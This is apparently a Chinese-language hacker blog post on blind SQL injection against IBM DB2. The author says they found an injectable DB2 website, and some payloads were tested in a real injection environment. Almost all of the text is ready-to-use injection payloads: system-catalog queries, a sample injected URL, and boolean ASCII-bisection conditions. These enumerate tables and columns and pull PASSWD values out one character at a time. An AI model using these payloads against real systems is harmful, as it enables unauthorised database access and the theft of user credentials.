Sql Injection in DB2

韩小末

使用DB2的人比较少了，今天碰到了一个可供注入的DB2网站，想试试身手。不过在网上很难找到相关的资料，只好自己研究了。  
参考了IBM DB2的文档，总结了这样几条：  
   
1、select NAME from SYSIBM.SYSTABLES where CREATOR =USER  
可以返回系统中所有用户创建的表（table）名   
2、select NAME from SYSIBM.SYSCOLUMNS where TBCREATOR = ’’ and TBNAME=’’  
返回表中的列名  
3、select NAME from SYSIBM.SYSTABLES where CREATOR =USER FETCH FIRST 1 ROWS ONLY  
这是最关键的地方，返回第一条记录，类似于sql server中的top 1  
4、SUBSTR(string, position, length)  
返回字符串子串的函数，类似于mid  

5、ASCII()这个就不用多说了。  
有了这些语句和函数，我们就可以很方便的用ascii拆半法猜出所有的table名，字段名，以及其中的数据了。  

例如判断第一个table的名称的第一个字符的ascii码是否大于50：  
http://*.com?test.jsp?id=1 and (select ASCII(SUBSTR(NAME,1,1)) from SYSIBM.SYSTABLES where CREATOR =USER FETCH FIRST 1 ROWS ONLY)>50 --  
DB2数据库ASCII半折法注射方法  

UNION方式暂没空研究，有空再折腾，项目里遇到DB2的数据库，网上没完整的资料，顺手整了这一份，第一条和第二条已在实际注射环境测试，其余各条在查询分析器中测试OK。  

猜用户表数量：  
and 0<(SELECT count(NAME) FROM SYSIBM.SYSTABLES where CREATOR=USER)  
猜表长度：  
and 3<(SELECT LENGTH(NAME) FROM SYSIBM.SYSTABLES where name not in(’COLUMNS’) fetch first 1 rows only)  
猜表第一个字符ASCII码：  
and 3<(SELECT ASCII(SUBSTR(NAME,1,1)) FROM SYSIBM.SYSTABLES where name not in(’COLUMNS’) fetch first 1 rows only)  
猜表内列名数量：  
and 1<(SELECT COUNT(COLNAME) FROM SYSCAT.columns where TABNAME=’TABLE‘)  
猜第一个列名的长度  
and 1<(SELECT LENGTH(COLNAME) FROM SYSCAT.columns where TABNAME=’TABLE‘ and colno=0)  
猜第一个列名第一个字符的ASCII码  
and 1<(SELECT ASCII(SUBSTR(COLNAME,1,1)) FROM SYSCAT.columns where TABNAME=’TABLE‘ and colno=0)  
依ID排降序，猜第一个PASSWD的长度  
and 0<(SELECT LENGTH(PASSWD) FROM TABLE ORDER BY ID DESC FETCH FIRST 1 ROWS ONLY)  
依ID排降序，猜第一个PASSWD第一个字符的ASCII码  
and 0<(SELECT ASCII(SUBSTR(PASSWD,1,1)) FROM TABLE ORDER BY ID DESC FETCH FIRST 1 ROWS ONLY)  
猜第二个PASSWD第一个字符的ASCII码  
and 0<(SELECT ASCII(SUBSTR(PASSWD,1,1)) FROM TABLE where PASSWD not in(’grou1‘) fetch first 1 rows only)